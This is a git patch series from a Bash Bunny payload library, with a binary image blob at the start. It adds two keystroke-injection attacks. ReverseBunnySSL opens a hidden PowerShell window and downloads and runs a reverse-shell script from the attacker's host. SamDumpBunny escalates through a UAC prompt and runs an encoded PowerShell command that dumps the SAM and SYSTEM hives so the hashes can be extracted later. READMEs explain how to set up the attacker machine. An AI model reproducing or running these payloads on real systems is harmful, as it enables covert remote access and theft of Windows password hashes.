zEJ<_ot()c5`lKt_?(qG3Z<=Wdw_f;Z;XuVZpr0bbbLhtkH+{$8%<&2vhT@O zMKOE+YFfqluNXTy#Q4UlywbHx@sZDWmf3P>p%WlVeIm zSN@4c;MG-!f%nUkTYPBt&4$TBhjC*T*4zAD4D_n0US4XG71kRgy$2_IeG)NM6NCGn z0wNQwWg{wv>R+~ktoB?LYccDn4=!gTTOD|)`aEyq{aTeqrMkwh%n`W5Vcs!jPwl`} zaCj?KIXYdfD;jA#?l`YkhFdZdyxGSl2f+TuC^2`$t7l4XYq9n&umiRU2}T&}$*J#h zd+nB|0erRQVBHvfOy)42`NJ4v+t~5_eV}!%9rAW&z%RKcdRC~_E}q)fT9(Ix!>H3@ z3H)+iHl`WU5q2t#Q40#(gXa+@4w~!ad~ky9j-@uMED{F^0q5niX{k|Sr*iW0#4Yb0 z?Jf#g#-{O+igoYQ!IQj^` zz89ms8~h12nZre|kvPX@S37;yB#j(Zfw{+JCtc^RobssmoYg<@b6&DO@L#M)NpR|W z9F^B+BR;R{cRXM6Z(G#RSUQ+-l6X*A`iG@&A^UZlkaGS{37)-!W9| z>rHW3miTbv_U$hAJe!7{`_+5F+VUwwgL>(|5w3Fj=%XWQz3|&bHHsC&5|L#m>k7hp zw@KxdXSZ5Z5EU0PsF{WdM%N$mu&-zvdYvLA5LWR5Z&uDWBThD}rLS6q8#Emu&slkr zVhzlEi^d{evR7`lwet*<+Hyq)X|oYEjccfdDSbJf4VqOT9rf2xDPE>^s;Biksr6k? z=1?EbrgQZ{<~s})D^7x0)MV`XmA`hvdp*?yDW{r7m?oE^?s}oZw8s8YLH}~r7Gpuie@kzmco`O$OEHk~R zwY9j99z4$sKH%Z@pxmU|Dk7Off<3!)BU07e0&f@H9nsx3bGTE%)*gPymYnNPL`clr9)3t|ohG9mc-Mf+m= zPfO4P)>)}C8P={2dtUb?CJrvKz34#>rHj`jI(ZTfTBj@rts(oZQzli{HwG->>LHg` zK6E)d?<^6UXlYrzpH!%fvT>ajN18Rn2RDQyO{7W)K{XsK@t0-w)BBt!Ep+D^GQ_C; z5Tp%xGku$HKAwliGJe4)PGXsM$wdc_;ub3^O`k{AsuXdgd&{94i-RuBN*AY|*wl6` zP;iW^+&oacGr<00uMKlySO*3>%$6#A*^q&BKQ~NWZ~e<0Q4!wO{mEQimDAK}f=R~I zxv6J4_en1<7Q8^u1o^7=|}m9Cw}w+QY!=;(yc zE1n_qR`BJ>oYExaNmLeYxr+>GMdJQ&l5aSKR_LeLS2<>P^?| zGvU#*6HBID1yii$4V`f2^GQ|PJ5BHpIx|ngwt>g5EeRS~6X)U~v z^TaNDLIX+WtLU-*Cf(JL3uFWbW(|exLoLC3!9s20&RNv=JGzE81CeJhir~Bo^|TEP znWL*_$`;=3U*HxuB$s7o(<_2ig;i@9oaxu@4;>hLv#uRGtPe`?>bqZ9srkAQiMyy& zl!j1OqxSL)N)k%hdtI43Zgb3{R+)WPciNCa!n{>T^{ldTn!4LNfe#0#S?yptceWZc z`_fh?*mGfv6NgD%6&30GMd92_mrK*{{dI7bZkOOD)13PXKloL^c|uFi({L~0{I#M^ zh05;rz_#(D{^MtQfs|?mri&pIUn$hHZ^b4h@x5?4)=Qk+Tr$Q~+_qWHT9zoX&>tjm zvsQ3c+aks({`zUF*8o%*`$(uGopOJ_(vLyx+_?r1dszIBk^_MIq4ej)YV2y95AICl=K3Dg@5q1H}0j;Gu`?L~#f&fL^a!i8tlh!xv* z)~2X%J{qfexDwHUx5beAL^h6VwnxKgfpUHNAzY72g>>it- z;K)d8a2Sh!M|ZMUbWtO^cLaLS$NwD;ZGEv}a@79*lEcz!c1_&aHxPT`aF|Lw1Ow6v+@{}-I=qXYrMqb-|0t43WbII=~g5Yv(J}1$2%OED%rsf zg8^tAh4~7F7@oncDnp~;dBe<{oc0lD=_E-g@jjAx^XT3JDNCuJuL(W+{rk6$^}HZZ zt~DDx-pj*IbTzOcV3}bTCA+VQSwN{o`ek49}5HK1yBk@yM=~7`u zo$}=4_^==Ton^cY;hLq(RdI7t)?l0AFjW9DOV9H4^6;p;aQ$A>2m!T4tywWjuRg3g3f z=9BOYyFlZ4O+kVy00Rk6w^vtt7Q2U(oS|M9HXsHI;;(zHG^;TjP?SUU{(Q#3)()Ea zq;`9;96l2n=b5I}rQOib*2_UaU1{O@ztSS;dp_?Ef3oPsE{*n#%2{j&p=yPa8#e%z z--Qjo9Jg3zd z)1!(0)VGk!SKedM8G8rY8zIn}n;~Mzs{M)d?CalVfj|M1JQ8(vm3v_W*R*q}?*Yg7 z_&9b3u(6dSxGj-165Wv?@k!NfUt-wB*|?u@`Pr*ish{bDo1sO+u0FIi_r_N44g!r9 z%W$xttzb7-uu74@yeA1SHc!vz28a&SiDOPWvacQfrBFGs%<`~=@HaJlipwE8?8`y5NP@AJK#QQmL z^T0Gzv__Y>+?K|79A>KVS?e_&HR#+}{3)W$^*tax+g>meQ3hCt)|tvesy~CXAoP`s z;*@xjKGgainlR)BGx0`cQT|N@D!iSY9X`7`91SYXfAG^zy88=Ku^{gXprCkv*wQZ+ zW*mY;$JG}{i!tL4qdxpP3g&ctLhXT6?49r5_Qnhkt7_1R{Dbsw7H9&Gzf_~4@!;fE z4K37-90t%0nxV#IW@40xB*X$0pd`S5?}@PDzc{hRgs5bZZD@2f`%w1T9G1hUz@DDN zF`=qoQQYW=?`SRd$)OHbn0W6v~jcFdp@@{j>4=uG1Qdw z?(Uv(bK2uS0w)h}f8|zyz#$CV$Poy`JL!zxFF@`ZCr9E~-$-OkXeiTa&ro2X3#zF7 zKR1v+IlU3O<^WW@{Ck&-Oid@-hRZ$`T}pw|zCocWj9b1jUrEyHFO_kPJzMYo&1dZJ za~Vy+DD*O#SO589Ic~Vh3*fbbgF--nq}IUHMh@f|%birYAnu>M3>!#q?F<&(WRjt` z|B`NYKIRe*v3<}-D%WftR|SYau75PA`( zb1Yp$DOT9F!N{uHPVkC5D0YzvXAoQTK_i_7f0>8PNcA$0{w+Ma}jHF%Oof(&{`!Bq3`(H3@s z*2X&z`Gl;U%GKO4MAR!_xMbt*TXj78-sr?B z_p`T!?8j!jAIy^#qCqVd^(1%9V+~R;6ejh|Y=7^d;wxP-{n9wwk#OG3W;1qwRoxp}&i7|9)}h-d|eLt69Z6gZs#L z|KbYJvywf4soc8baHt%M{HeibiM+0%B2fZBdj7uP7${I?wI{At3wkn#2JEei|K7)+ zg0(MNNHK|v>k*M(|BGBrK*J9|Ul)-#!R(iMpb@TxS&x$OQ8B1lPif3c0S&K2^xMy{ zeP;8?tROnN2IZ_uX2Z92_gO?rE!*4nLlDCCi*%Oww zoj;{{!&_Piuq%Tz0<^z#-~PMi6}?jJ?s~L&!pJHrIyv&uLmUD2m`vX^!tmbr#F>@0 zT?(3XCO4>G{m(PEbof>N%n35zflLP_l3DqR;O_^=u!6L)x9^M@%)`nGpKMG<~mw+<%a75vp9oe76i`N%P{#O?*k;IHuGD+7(JH_(p z&)g4jA>Hwr9M}!61uR9*`RXNh7_RY3)XX2b(K%o7_9KlbqUx=D;%U-#Hzx_KY@~C8 zGHw$qCkDl+XvB`a`3zer_-v*E3!f}NF3MR!%c;`#+SL!1MrUYbl;H{R#6W8-pgvNM zU;>KFXaBP;uhp8KQHQ~srd4q@JIlZIjR!@yI*eoV=PfK|fe2~`$?dn$N}}2g7^Enc z+Eec4*+}`Q5M88#sEK1=RGqyZU6^k^1(BrJk#R+WV2VuyBh(NrIi%~s#63ZsE%{{3 z+k6szz>38r8q)^zjNfQhKUFIFx;onz`u5~HlfAwDpRqmzYOws6W1ko+uY~?pF0BQN z@2+F1#9axR{I|Hk!Z>nEQ?0H>2?AzhK9U#ZG;KonXH&CPeZYDBU7BLX6n}f#9Z=DC zIB=DNm{*%kO}C>X!rdO%q3Ke}E4tDtHAAFov*N^^EhO^`!x(%E0c@@7fgsCsI8jd( zWy7YXbWmSmd_p#nB96;yFPC~Kwt5M}lJqozDu}!*$UP#CHLIAQ;r*BV`wF9-xQSn& zRZ$jV2_MXdRC-Cb1U_J)f$$ZFzUj&?kc<%Ryq;f4AzY?H^g+kTcgkbPxuna+UADFL z!k@V<&fUC;4=gLH8bn#T$MFs^-&_LeLTO*4UAc358py(hDhib70yoUZbR|11-=JkF zWX4f_jj<&)nmL_aXonQ!p!k`=?Kv<&ph^G5U1*{8UQSMCLI+Ezg96vO3e#gIwYqC{ zu1%Nx8E@RYd2@I7c2O->QQ{1Ghx59%MMJMt1IcK&WL}uHL+i3*;I^B)Y}7MR{?|IO z02MbZCWa$M*QQ~maw0mHux)V9Zj*zI7}RF%U7Q3TF8n*ZAdX-W7? z17!taJxdm8KTxxZ5nVhqn@Le-;iHe1dgGXdbzIB;@R&HLVgA3%B&zBEQ6_!7`EQwI z@v?GZ=$+($*;i0^BzqugqY-iV(tWyWdUQOwrK9lU+y5kXF7p4E*vUcA+YR+pb`diw z+V^$Ri6S*+m27!Tlf3f&^bu%Pz-W2Bpse}LAXPr;I3PcOM@1Z?dX-COB`K=%^~f_f zM7c1O?I8R5wO>9|xZP)s8NBnKQY88>rBJRkOJVxU;EidX>;KRivBLn0lBE1KajS1! z`VCUp{dlv;G-Q+S3?BQ_xN~97ngzV}-vI!u;r))cP!66L_~=uMsF?-vL9FZLk^itg z$e#GSAdHVeaWaJK6ic7jSz11~QpnsED8_}72hxpWrGNx9paUY9OXU-H3w7?8<#-4z z8vaXfsdSJ|)h_lR0amD2<%~ytg2S$CNuQUef^rhVg02FD+;A6Ymq*Sk&EdU;R^@9x zmc{hvls~m)1{JhalDw9xpF~_x{)eT8wd22Ik(a-t1?JaHPVcB>DJ3(rJh||f0Rl9C zv$B7p1=jOBf49%DACqbm{G%-ag8cwZ?Egft*q{Ev>;-5+r4bE`W(DW#%3p!|`+0J< z$@l&RKJ`3;!Jv0&*+EAHo{%%%0-*xWOnQ<4n`Ivy$}jv6oZ$F|m>Bd185Nkc^ZzDd z061aaxJfoQKR*xrm$-#lCja#;Wagj$hZ&R`3z%${kdaj=HHUm8DRCliZfe(-w}gVP~mz0V>R1MVuxdU^R`e=e%{%pj=lGG$LJvi9+Zj>5l|fCwzX zw-4m>tTZ%q#=im2!?t13HRZOqFs~#L1EL}RGz(3?zy$!cF#U}TMLK$WUCKwOS64?W z+8Eq*V2A+~@-bU|jeiYd1t^zfgMX(;>>^b39KOnuPZno+Epx!~XKe?7wM3f$VFEb+ z!UUj^6&3yi=Yn3xPN-8LC^WKsBkab`<~I{)uXYKl)UDm<=65i$y^RJRPf^YOnO*AI9hOC(V}cQ)RabLz4MRj;=q26L1LjwFyiK*VO+CUU zR?spy!M@eJ@IA*Lc%_pi%?byjTdSVswHsS^)@)RLG%9NRU5>YlLCiHKNvx*!YL1+U zh=_~3{L!IG?42DoP!V%I!?-Kj0c3twgJvKcOrrO+gI!n8+c3OtcY@9V9aPyFCUfA( z{ooG}rp!R%OSIz8=v5Me5G|_=X@E-D^o6)T^Ex>&)vPn9K+Mc!I+_ZrXBY=Ymn?)F z@hzm0>L>){M$AT;CVPDs+fx-3ORfM#87H_;dM9n8$0fXZ8+j90A|$@B0-e1u>gkpz zGQ3hRnRCw@Eqk>$nN39kCWCSOy<=mACUth}>g?z!4*|Oy`P@9_K!W;gEy)cz?ygju zgq%vx&cA8yx&l%ZhjJOm4v+&U5uJ&C7cFX!DLYREfx=6=guWrH=UtwEbH`5;&Zy+p zC&qu`QtMLUG(P)6RdvDQL9C{xO*_>eaBDH_qM6TqmwifHsH$Oz1ytw7mA#%l5tP2V zU09?3A*4!YqQZuoSK*B!B^8xb`~lr)7le0up@Yl&JSS~RgGi=aqAO>4NZO@h^)%u7 z?wJCXqw+l01Rg2gKe}-AyQ}E&@826$0JDls*`m>`eD(GM!vh^6-FvDtUdx_PMH5l+ zFYz`Fy5fg+pWM}ppO%qYy7ll0S`R*gw9-lI+5#O%#1&AClsnnuevjZerPr_1E;PRR zCdRh#?MFxiKquTb!icBGC_z@q$l|ezT8}=!wE#jO>ado37WVF4xO3h^bh9T#cmS2Y zv*3-=<sTxnNe`*&iVvF0DPsjz=~v5Tl*TQ(xIw5A3CDE~O-;=T z(mLMZRYI+X*O@wAi{*Utpit!KhKK{I{!DPFy>xzm#l6%-VKGeRNf))gr(su4TU%#( zdh6Iu^U5g{js^B7>%{xgIw+w2ePd5J;huLGZ?-}hz$~J0mvxvxr9MaQ@9A*ADs-fxfS*IhTBmpsl^w2^l@XX*z3s(G6u(W3^Of5UII z9eQbZ(w1~Fw>aH6o8Hw940(EbxhH-rDHf$$Jt$tW)!!?AEM={sFBRJe^!%DY3bTd3B(D%ha9Fh1cfjfh%!MJ%geTItUcEPgxI^oVS{Z^t- zitge8=jLR@OmUyuy&=*vk0S?R)tSzb{Ebt~!C&4KXbrDJj9e^oRi;FvNK7a2m}+y^ zLdkE-^pta`@$BKu$sCKw)@gHiOfrXto?EWvB?iRfu$bhnqyU6P5nfSa3U+vjjU>GF zHvn(SDKnqe0!2fA6dHm97c@b(*6t#Fw$mDDb^i4B2|CUP2ZN=i6e5BKvmksEk|oNt zfUOxwKlwl=d2o8xEG^SHrN2B*TAG=WF}6c{(b#H=v#4&j=DL?r{7 zBaoV|OLxb4#^Scf&bxWmAM$6V=K3|ozm)nk=J1+6c?f%cNbsC_KWGgXTZqJ%j@JyN zGgO2e(OzGcOQ`koE0T?1x8ba)7hI+9=;)D)xroS|2^o2To8G%G*42 zHnpvcRc8$jz2l}e#c%Atca{7gpOgcYydY zF!_WEB&(@8z~pie9`){9+-;2RPPu85m%uuFd<-~bjtm1mx3<-Qtm3+NiD#jPw*=;$ z3gnBK@`PLSZB}zYhET_vT0UTN)fEaUvJo@o8t(e_$NIn`TP>`3R5g^}3G$&Lzkk0` zy$SODnp_Zq8tucm$?a@0(TyCQo?!1Ee0K)owllhRt43{5JEIF=7>0d8DDxt`de2|a zW$2mtv%FtL2vcBYS!}qV7^wP{x#gjTGI$K9Wp_m1Q8el*@xO;qw#$kYPH^QxF zha=(E8G%mzjbWFDE?&BuO2PDMc@GX}-KSrIp)pmoIIq??hCL0t9P52BaH5~Q?n7?w z90qCyJ#ACej`uMKZX3yR=UHpv*wbIEG)@C|+*9Sji#Q`Oe|O_3yH-p%$ce1@pcgRi zTcK=n(VdaG$yIluC)a@4j^k{y{TLQ}wig~AcY~UYhUN-91p4jum29k!2B+W0z7x9f zzc*H}5C6k_`TzQkG8BD89dKDT>_~&L{_LQdd?i$!TGqtmgVRP?xslP=AzGYs;}Tt0 zt5f@}2Hf1SXMv^MT3s!eQeIK#(g&u5Bmx-kIS;+=SwonDsswY>%|F_13&3Hp{f91c zRI*VLKV3-R!1hhnu?`6I*LnFsuM6_lB82tBSSTch%eOtw5M{rG4Lq z<-VVdodv@Bw*F_RZT!Wo=M^h;`O34x!v|l3?`?#>7y<`$*%?AzdjvolpZl34zW$6g z`s5P7-;9GiNbj?~5W4vR$paHAJ3Y4%=iRMF%M9yDA-?Up(oA>Mw9(jhml1&D#$9N0 z)($}%Us$tQyBg|IVS6B;2_*D#qZK!J-@kufktk6QLDi#QH7(aY_Lg`R@k_=kus zJ#{d>;J$Xv<~D>{%(qx}B9cicrYcwqqqQzUpllx->` z@m+4MXR4faE83VzuXUQSkQ07lw7+uJ@tH=Vy~>`qhBj;~t1r|W{*~m&Q(Cw0mY|>- zI5XllS_vJZfwV&~>8 z>h4JKsnviTtP@(SvxhCGMH}-DmfU{1(5J@JMd&%dm2ckaM5Rz zM0W8swvI%eJAnG^i%mpyUM|4GxIXv4KPDV711@!g2;4+b+eHh%lV8MJm){}jCnnqM z%533^(L5)$s-Z=lL`T3?O$JF{%;CI}$X++5Fw1M$2FtqkQhlP-jbc zZQLBtlktY%lTuH%N%q7GmM+&5Urj8uMJDJkuCP!12kE_Zz?R-#TmV_2Eb-Rd~iH;umKj$B)9{WRs(CboOR=-p`;a+=&7zn5Nz zSqpTS5iykosI28Ll5*Xuyf}&3{Gxg`#AIc}+Y^QbfHg#-$V{<=GrI>|{kJ?ZtNtb1 zm72TL!pWe}I7X&b{OI$8C-zn8lII_G z`E|}1<3XjD!0FHElH+8ivFCUw?KW#S$`6|N`2YZlv_am|r7=mT=I`%;eSxr$8=Ac8 zB{469b&G;?PqyTY>b|lf`fwtD27>yja=Y)Az-FoViW*O)ZD@> zmk}g(ft4jdFw*n>bR=p9l~O<2{IiOJ6*81&?^ZGL$lWP{W6Uf09 zjYY1~1PC(EvKe;z7wPqzc^r=mKt6K5jo;0Sy~`5&q2dmw#WFFsAY8Te(}Ue@{9SO+ zLVLyo^BD zseLzx+^3SPV)apU=chj{%B?W_9N*pZFEU#CTr|ZmK;(aYO6DqBNY18ykqGNbV2T@% z#&OOA0R&JUf~b!2OHN=jmHse092^|XFgyv@X2uj71x*K}f2M zPimq6?SR1sx=9PUZmpR^t#t4r@QtCl>c;_YJPYZ!B$QoGDh6KAelZA~qXzexo`L%} z3iSM%N}ikLuxSy-!{ef1l#fdx@k?-n8RyZ90%CV#7P-b0i{?@7@fR{{I|Wb^z%R-4 z!h$V_#p0{BG2C_hMc~>YHW~=DJRG3>=o+;t22RPlv*XM5kdhKlE{&C4y>Vq7ZBEz_ zf|{{+5vL7lvR0`W_PY`UM8v zJ|AX{W8Dg~FN1ed*v zM3Lmkw;Uv$Y((AZvs^FZf4e;IWXGxF{r>yaR<49j#hdvxJp#C)lPx89`5lO9Q=Z-M zXB)IIPP=51_H65n@?kjsgcLEtQFun_a%4fE5c1@kpG@QBt80d@cJ^whQV*_p=0mPA zX0W!y!eBZ{osmz<+X&Ct1a8g|1vNeL)qgf!&D2T2j&u5}i2$4&l*;WK!TGW2m{|n8 z)}I0<4jT5O_?(1X+J12A=bddT0%OMXs5AO?4q`kx#Epm0b7Nq7(%z%{1%${m5;oc3kF0!7H289YBioChZ#nv4A5Bo|+B?v1Q&*L|XvB*kjJv!Y zL8t|odLR|y6*khfPqU!>rEF;Ui*Tl=@?43mIU*7zMN536e?Gtnec-Ctj@{*RIy9+~ zHL1;BuTt05LSr-%xV8huQGv-^IqR$sJvzDUaLaDssFv}`(H?W>RrXoiM{zWkwb;q;tD_tQpNUa++#5g>jj z#p40JMSxbb$tZ7mGgz-HZg4uzZ?b+m9UZ+D)O^FFv=$|j?$^vHQ+Z&Q%;p%su=eW_ zwJag~cqa=2m^XKbGX^3WaB$J7g zER;0@@DvEZ>W#NZMzAaBY~j{pB%NbsLw0|BMCR{6l>X={_{c!Il@-I+;Ti+mJhl>W zl&KieJ}m(_rSOrj_kh&dCXsU(Yd@k;6@UYDpPDt2T?LOErlia?#{m_LLVI~Owp5_ubX6m zk>G7bgPK@PwaTxo2NrzT@lI#(!669NWb^ZaA{PrUQb8p0@g5LR7dZ!u-Ic?<@V9=y zWdp+|y#lLzFg$dj3?*qz@}Rt_u^@G3@Y`|rWmTqkbr6?_TyZ#lxuxKsT9Jz{Ejr~c zuB;MFI5P3`cRg5&tm%1`anylZpP4$-tIYc>C!6M7%=MhtKj9rh;N_2GP=ARedM}g@ z*FI$>#JeI3&TAISlyoO2&~s0zpd^54`MN%P7zh5nq-Od2DF`&!p9Abbyp0uDk^8{cB#9=u zu-$d_nseieXFT#R9kiv-zP}5TCqJaV0Zy@;yawy=?N{Qsvu5H9`X^uk1~pvR^rphf z{ElCbhi>Gtn(9k4D%=TeNl;DmxfK0q#>0#^^+a{r*VZ1NJBak#4e&kIheU1AB|yVr zDndyGsCztP7u2#-zCGR2n$vZa1XBlR=uaXDTN6x?#c725cwhSd4F(|rOje*d)dDLI zo#(k%nrAqN{hpFs=yC2@qP{%FfDZx7C`neOo7*rl)*90WrXdq(t%uKnhBD1V)heL9 zvPS)gzXx|=adDCXAFSL9I9)$nW;YJ<)o=o5)y4JGs!87Ryp8xHLNZxu@I7mAj<2n@K{Q?TfEKV+9*Rm&d)i0_Pew#~TTa4+C)P zO(d&jihQj#Xb{XPmDFFMHO2Aif6U695&~QJ02a9I%KNPG7b8Mj(ru!a&fvcIoI`bfQ5I2ko^(OM_)XPg$OAxpLfOB5xob ze)@W=QHMxd^?OR92&Y}UskCDNsKEGk2L%=zXE^Dw1wZ(T`RJe+p>p;O>U`0#c!TjK z{gA^G88m+2sGG0%{QciW0RtsJw~iTJoxZ7}~yxVy4l2v%J_0m#ywy?VQyBZk~VDso{%kP?}L?3BS*Dq`X zuPel|s#|Ce!>dr4Pp67;A)gv;er7#bOT4hWJc$}mk@K7OQm!=C(@WxBB#dpGNHhi= g$WgC<*F<^bE%^Myeb)4f1!%owA1gj8lrr%9KO$^Q5C8xG literal 0 HcmV?d00001 diff --git a/payloads/library/remote_access/ReverseBunnySSL/payload.txt b/payloads/library/remote_access/ReverseBunnySSL/payload.txt new file mode 100644 index 00000000..a3d0f3c9 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: ReverseBunnySSL +# Description: Get remote access, using an obfuscated powershell reverse shell. +# Author: 0iphor13 +# Version: 1.2 +# Category: Remote_Access +# Attackmodes: HID, RNDIS_ETHERNET + +LED SETUP +ATTACKMODE RNDIS_ETHERNET HID + +GET SWITCH_POSITION +GET HOST_IP + +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +# attack commences +Q DELAY 1500 +Q GUI r +Q DELAY 500 +Q STRING "powershell -NoP -NonI -w hidden" +Q DELAY 500 +Q ENTER + +Q DELAY 500 + +#Insert attacking IP & port below +Q STRING "\$I='0.0.0.0';\$P=4444;" +Q DELAY 250 +Q STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/RBSSL.ps1\")" +Q DELAY 200 +Q ENTER +LED FINISH \ No newline at end of file From 2795d3096b1253299d9669254cc92f638c898a6c Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sun, 8 May 2022 13:25:02 +0200 Subject: [PATCH 47/59] Update README.md --- payloads/library/remote_access/ReverseBunnySSL/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md index bffb7da3..58bb7679 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/README.md +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -27,4 +27,4 @@ I recommend openssl itself or ncat - Example syntax for both:
    **Disclaimer: Because of obfuscation, it may take some time until the shell is fully executed by powershell** ![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.jpg) \ No newline at end of file +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png) From fd56992d11f82d46a11336faae1a81d7953f0d37 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sun, 8 May 2022 13:25:55 +0200 Subject: [PATCH 48/59] Update README.md --- payloads/library/remote_access/ReverseBunnySSL/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md index 58bb7679..bf3952c9 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/README.md +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -12,7 +12,7 @@ Unlike ReverseBunny, ReverseBunnySSL offers encrypted traffic via OpenSSL.

    **Instruction:** -

    !!!Insert the IP of your attacking machine & PORT into the payload!
    +

    !!!Insert the IP of your attacking machine & PORT into the payload.txt!
    1. Create key.pem & cert.pem like so:
    > openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    It will ask for information about the certificate - Insert whatever you want.
    From 71651b3f7b38c202d6c1fb0688933a484365376d Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sun, 8 May 2022 13:27:28 +0200 Subject: [PATCH 49/59] Update payload.txt --- payloads/library/remote_access/ReverseBunnySSL/payload.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/remote_access/ReverseBunnySSL/payload.txt b/payloads/library/remote_access/ReverseBunnySSL/payload.txt index a3d0f3c9..57358c05 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/payload.txt +++ b/payloads/library/remote_access/ReverseBunnySSL/payload.txt @@ -25,7 +25,7 @@ python -m SimpleHTTPServer 80 & # wait until port is listening while ! nc -z localhost 80; do sleep 0.2; done -# attack commences +#Opens hidden powershell instance Q DELAY 1500 Q GUI r Q DELAY 500 @@ -41,4 +41,4 @@ Q DELAY 250 Q STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/RBSSL.ps1\")" Q DELAY 200 Q ENTER -LED FINISH \ No newline at end of file +LED FINISH From 8e73e0248e29c92ba9e67b98e502acf34fb67667 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sun, 8 May 2022 13:27:48 +0200 Subject: [PATCH 50/59] Update README.md --- payloads/library/remote_access/ReverseBunnySSL/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md index bf3952c9..63182453 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/README.md +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -12,7 +12,7 @@ Unlike ReverseBunny, ReverseBunnySSL offers encrypted traffic via OpenSSL.

    **Instruction:** -

    !!!Insert the IP of your attacking machine & PORT into the payload.txt!
    +

    !Insert the IP of your attacking machine & PORT into the payload.txt!
    1. Create key.pem & cert.pem like so:
    > openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    It will ask for information about the certificate - Insert whatever you want.
    From 614d313690580aba87bb1facb4fbc29e4e2e1a40 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 8 Jun 2022 11:13:14 +0200 Subject: [PATCH 51/59] Uploaded SamDumpBunny Dumps users sam & system hive, which can be used later to extract the users hashes --- .../credentials/SamDumpBunny/README.md | 21 ++++++++ .../credentials/SamDumpBunny/payload.txt | 53 +++++++++++++++++++ 2 files changed, 74 insertions(+) create mode 100644 payloads/library/credentials/SamDumpBunny/README.md create mode 100644 payloads/library/credentials/SamDumpBunny/payload.txt diff --git a/payloads/library/credentials/SamDumpBunny/README.md b/payloads/library/credentials/SamDumpBunny/README.md new file mode 100644 index 00000000..7d023d7e --- /dev/null +++ b/payloads/library/credentials/SamDumpBunny/README.md @@ -0,0 +1,21 @@ +**Title: SamDumpBunny** + +

    Author: 0iphor13
    +OS: Windows
    +Version: 1.0
    + +**What is SamDumpBunny?** +# +

    SamDumpBunny dumps the users sam and system hive and compresses them into a zip file.
    +Afterwards you can use a tool like samdump2 to extract the users hashes.

    + + +**Instruction:** +1. Plug in your Bashbunny and wait a few seconds + +2. Unzip the exfiltrated zip file onto your machine. + +3. Use a tool like samdump2 on your machine to extract the users hashes. + > `samdump2 BunnySys BunnySam` + +![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) \ No newline at end of file diff --git a/payloads/library/credentials/SamDumpBunny/payload.txt b/payloads/library/credentials/SamDumpBunny/payload.txt new file mode 100644 index 00000000..cc3120e3 --- /dev/null +++ b/payloads/library/credentials/SamDumpBunny/payload.txt @@ -0,0 +1,53 @@ +#!/bin/bash +# +# Title: SamDumpBunny +# Description: Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like samdump2, to get the users hashes. +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 + +#Shortcut for pressing yes - Needs to be adapted for your language (ger=ALT j;engl=ALT y; etc...) +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "powershell.exe -NoP -enc cgBlAGcAIABzAGEAdgBlACAAaABrAGwAbQBcAHMAYQBtACAAQgB1AG4AbgB5AFMAYQBtADsAcgBlAGcAIABzAGEAdgBlAC" +Q DELAY 250 +Q STRING "AAaABrAGwAbQBcAHMAeQBzAHQAZQBtACAAQgB1AG4AbgB5AFMAeQBzADsAQwBvAG0AcAByAGUAcwBzAC0AQQByAGMAaABpAHYAZQAgAC0AUABhAHQAaAAgA" +Q DELAY 250 +Q STRING "CIAJABQAFcARABcAEIAdQBuAG4AeQBTAHkAcwAiACwAIAAiACQAUABXAEQAXABCAHUAbgBuAHkAUwBhAG0AIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBu" +Q DELAY 250 +Q STRING "AFAAYQB0AGgAIABTAGEAbQBEAHUAbQBwAEIAdQBuAG4AeQAuAHoAaQBwADsAcgBlAG0AbwB2AGUALQBpAHQAZQBtACAAQgB1AG4AbgB5AFMAeQBzADsAcgBl" +Q DELAY 250 +Q STRING 